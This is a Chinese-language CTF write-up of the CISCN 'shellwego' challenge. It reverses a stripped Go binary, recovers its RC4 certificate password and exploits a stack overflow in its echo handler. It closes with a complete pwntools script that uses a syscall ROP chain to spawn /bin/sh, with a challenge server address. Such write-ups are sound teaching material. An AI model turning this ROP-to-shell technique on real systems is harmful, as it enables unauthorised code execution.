ciscn shellwego

go 逆向

• 恢复符号表

  elf 是去了符号表的，可以用 bindiff 恢复符号表。（将这个文件和其他的有符号表的 go 的文件 database diff，相似的部分导入符号表，自动导入重合度高的函数）

• golang 的传参方式

  在 Go1.17 版本之前，Go 函数调用是通过栈来传递的。1.17 中 32 位的通过寄存器传递，64 位的还是栈，到 Go1.18 全部通过寄存器传递参数了。不过具体是哪些寄存器用什么顺序传参，感觉不是固定的欸（？）。

• 查看 go elf 和 modules 的版本

  本题没有外部的 modules

  go version pwn
  go version -m pwn
  

main_main (0x4C1D60)

通过 ciscnshell$ 字符串找到 main_main。因为看不来参数的位置，所以只能对着函数名猜逻辑（）。通过一个全局变量来判断身份，如果 check 没通过则输出 ciscnshell$，如果通过则是 nightingale#。随后用 bufio__Reader_ReadString 读取输入，到换行符停止。然后用 get_command 对输入处理。

func (b *Reader) ReadString(delim byte) (string, error)
//ReadString reads until the first occurrence of delim in the input, returning a string containing the data up to and including the delimiter.

get_command (0x4C1900)

trimspace 除去开头结尾的空格，然后用了 regexp 库做了正则替换。这里是识别所有的 " +"，一个及以上空格，用 “ ”一个空格替换，即连续的多个空格只保留一个。

func Compile(expr string) (*Regexp, error)
func (re *Regexp) ReplaceAllString(src, repl string) string
//ReplaceAllString returns a copy of src, replacing matches of the Regexp with the replacement string repl. Inside repl, $ signs are interpreted as in Expand, so for instance $1 represents the text of the first submatch.

接下来check 了身份，如果没有check 通过，只能输入 "cert"。注意 cmp dword ptr [rdx], 'trec' 是比较一个存储单位里的值是否一样，所以字符串的顺序不是 "trec" 而是 “cert”。随后用 genSplit 分割字符串。

这里的 gensplit 是 go 中 split 操作的内部函数，参考Golang字符串操作。

func Split(s, sep string) []string { return genSplit(s, sep, 0, -1) }
func SplitAfter(s, sep string) []string { return genSplit(s, sep, len(sep), -1) }
func SplitN(s, sep string, n int) []string { return genSplit(s, sep, 0, n) }
func SplitAfterN(s, sep string, n int) []string { return genSplit(s, sep, len(sep), n) }

从参数和结果推测原函数是 Split(S, “ ”) ，分割空格前后的字符串，返回值是字符串切片，可以看作这样的结构体

param1
param1_len
param2
parame_len

如果身份 check 通过，就可以输入 “echo ls cat whoami” 等等命令。

check_cert （0x4C14A0)

当第二个参数长的为 9 且等于 "nAcDsMicN " 时，进入 check_cert函数。

里面是 rc4 输入将字符串转成字节 slice，经过 rc4 加密后输出转成 base64。

func NewCipher(key []byte) (*Cipher, error)
func (c *Cipher) XORKeyStream(dst, src []byte)
func EncodeToString(src []byte) string

得到了密钥。

deal_echo (0xC1720)

这里将空格分割之后的 string slice 拼接在一起。用了 concatstring2，然后会检查上一次拼接的长度有没有超过 0x200，即每一段空格之间的字符串不能超过 0x200。（这里好隐蔽

主要是下面这里有一个溢出（在不大于 0x400 的大小范围内，把输入跳过 "+" 复制到栈上距离返回地址只有 0x240 左右的地方），所以肯定会想怎么绕过上面的 0x200。

试一下果然可以

rop

用 syscall 的 gadget 写 rop。

这么找 syscall ROPgadget --binary pwn --only 'syscall'

# from ropgadget
sys =  0x40328c
rax = 0x040d9e6
rdi = 0x444fec
rdx = 0x49e11d
rsi = 0x41e818
binsh = 0x588018

overflow = b'echo '+b'+'*0x1f0 + b' ' + b'+'*0x33
overflow += flat(
    rax,
    0,
    rdi,
    0,
    rsi,
    binsh,
    rdx,
    50,
    sys,
    rax,
    59,
    rdi,
    binsh,
    rsi,
    0,
    rdx,
    0,
    sys,
    )
sla('nightingale#', overflow)
sl(b'/bin/sh\x00')

exp

from pwn import *

elf_path = "./pwn"
ip = "121.40.89.206"
port = "20111"
content = 1

context(os='linux',arch='amd64',log_level='debug')
if content == 1:
    context.terminal = ['tmux','splitw','-h']
    p = process(elf_path)
    # gdb.attach(p)
    # p = gdb.debug(elf_path, 'b* 0x4C188C')
    # pause()

else:
    p = remote(ip, port)

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()

# ----------------------------------------------------------

cert = 'cert nAcDsMicN S33UAga1n@#!'
sla('ciscnshell$', cert)

# from ropgadget
sys =  0x40328c
rax = 0x040d9e6
rdi = 0x444fec
rdx = 0x49e11d
rsi = 0x41e818
binsh = 0x588018

overflow = b'echo '+b'+'*0x1f0 + b' ' + b'+'*0x33
overflow += flat(
    rax,
    0,
    rdi,
    0,
    rsi,
    binsh,
    rdx,
    50,
    sys,
    rax,
    59,
    rdi,
    binsh,
    rsi,
    0,
    rdx,
    0,
    sys,
    )
sla('nightingale#', overflow)
sl(b'/bin/sh\x00')

p.interactive()